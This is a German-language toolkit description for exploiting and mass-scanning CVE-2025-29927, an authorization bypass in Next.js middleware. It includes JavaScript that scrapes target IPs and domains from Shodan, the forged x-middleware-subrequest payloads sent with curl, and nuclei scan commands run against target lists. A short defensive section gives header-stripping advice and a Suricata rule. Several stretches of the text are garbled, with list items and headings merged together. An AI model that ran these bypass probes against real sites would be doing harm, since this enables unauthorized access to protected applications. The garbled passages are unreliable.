
Proof-of-Concept- und Massenscan-Toolkit für CVE-2025-29927, eine Next.js-Middleware-Autorisierungsbypass über gefälschten x-middleware-subrequest-Header. Enthält Nuclei-Templates und Python-Scanner.
Kurz gesagt: Schwachstelle in der Next.js-Middleware, die es ermöglicht, Autorisierungsprüfungen durch Fälschung des Headers
x-middleware-subrequestzu umgehen.
Ich habe in Shodan mit dem Filter http.headers:"x-middleware-rewrite" gesucht und eine Liste von 1000 Domains abgerufen.
var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+.)[a-zA-Z0-9.-]+.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();
var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();
Kontext und Hintergrund In frühen Versionen der Next.js-Middleware konnten interne (Sub-)Requests an die Anwendung selbst ausgelöst werden. Um Rekursion zu verhindern, führte das Framework dienstliche HTTP-Header ein — interne Marker, die kennzeichneten, dass „diese Anfrage bereits verarbeitet wurde". Dieser Ansatz war praktisch und vermied Endlosschleifen innerhalb der Middleware-Pipeline.
Entwicklung der Middleware und Payloads Vor Next.js 12.2 lag die Middleware als _middleware innerhalb von pages/ und konnte verschachtelt sein (pages/_middleware, pages/dashboard/_middleware usw.). Der Payload konnte einen konkreten Pfad angeben (x-middleware-subrequest: pages/dashboard/_middleware). Ab 12.2 wurde die Middleware als middleware.js/ts benannt und lebte nicht mehr in pages/. In diesem Fall funktionierte ein einfacher Payload wie x-middleware-subrequest: middleware (oder src/middleware bei Verwendung von src/) oft. Spätere Versionen (≥ 13.2.0) führten zusätzliche Prüfungen ein, einschließlich MAX_RECURSION_DEPTH; bei einigen Umgehungen wurden wiederholte Werte wie middleware:middleware:... verwendet, um eine verschachtelte Kette zu simulieren. In der Praxis: Das genaue Payload-Format hängt von der Next.js-Version und der Projektstruktur ab.
Patch-Historie und das Problem mit x-middleware-subrequest-id Der ursprüngliche Schnell-Patch umfasste die Idee einer internen ID — x-middleware-subrequest-id — die zur Laufzeit generiert und geprüft wurde, um gültige interne Subrequests von Fälschungen zu unterscheiden. Die Implementierung zeigte jedoch einen Nebeneffekt: Diese interne ID konnte nach außen gelangen (in ausgehende fetch/Requests), was ein neues Risiko schuf. Zudem erwies sich die Signatur/Synchronisation der IDs in Umgebungen mit vielen CDN/PoP und gemischten Runtimes (Edge vs. Node) als unzuverlässig. Infolgedessen wurde der Code mit x-middleware-subrequest-id entfernt/überarbeitet; die endgültige Lösung ist eine Kombination aus Patches in Next.js und plattformseitigen Mitigations (Filterung eingehender interner Header auf Ingress-/Edge-Ebene).
CVE-2025-29927x-middleware-subrequest. Ein externer Client kann diesen Header setzen und die Zugriffskontrollen umgehen.x-middleware-subrequest vertraut. Das Feld war ursprünglich für interne Operationen des Frameworks gedacht, jedoch können externe Anfragen diesen Header setzen, wodurch die Autorisierung umgangen werden kann.Folgende Versionsbereiche sind betroffen:
>= 11.1.4 und < 12.3.5>= 13.0.0 und < 13.5.9>= 14.0.0 und < 14.2.25>= 15.0.0 und < 15.2.39.1 (CRITICAL)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Ngit clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
# без заголовка — ожидаем отказ (302/307/401/403)
curl -si http://localhost:3000/protected | head -n 20
# с поддельным заголовком — если уязвимо, вернёт 200 + тело
curl -si -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/protected | head -n 20
/_next/static/, package.json, Headers, Favicon-Hash) — sicherer Modus.x-middleware-subrequest und vergleicht die Antwort. Unbedingt Rate-Limit und Throttle verwenden.Startbefehl (Beispiel):
# passive
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt
# active (контролируемо)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20
x-middleware-subrequest wiederholen → Status und Body vergleichen.--concurrency, --delay, --dry-run, --respect-robots.aiohttp / asyncio für hohe Leistung.Kurzer Pseudocode:
async def probe(url):
r1 = await session.get(url)
r2 = await session.get(url, headers={"x-middleware-subrequest": "1"})
if significant_difference(r1, r2):
report_vulnerable(url)
>= 12.3.5, >= 13.5.9, >= 14.2.25, >= 15.2.3.x-middleware-subrequest an der Grenze entfernen/bereinigen:Beispiele für Regeln/Alerts:
SIEM: Bei eingehenden Anfragen mit x-middleware-subrequest alarmieren, wenn source.ip nicht in trusted_proxies ist.
Suricata (Pseudo):
alert http any any -> any any (msg:"External request with X-Middleware-Subrequest"; http.header; content:"x-middleware-subrequest"; sid:1000001; rev:1;)
alert if request.headers contains "x-middleware-subrequest" AND source.ip not in trusted_proxies
https://github.com/<author>/CVE-2025-29927-POChttps://github.com/<author>/vulnerable-nextjs-demo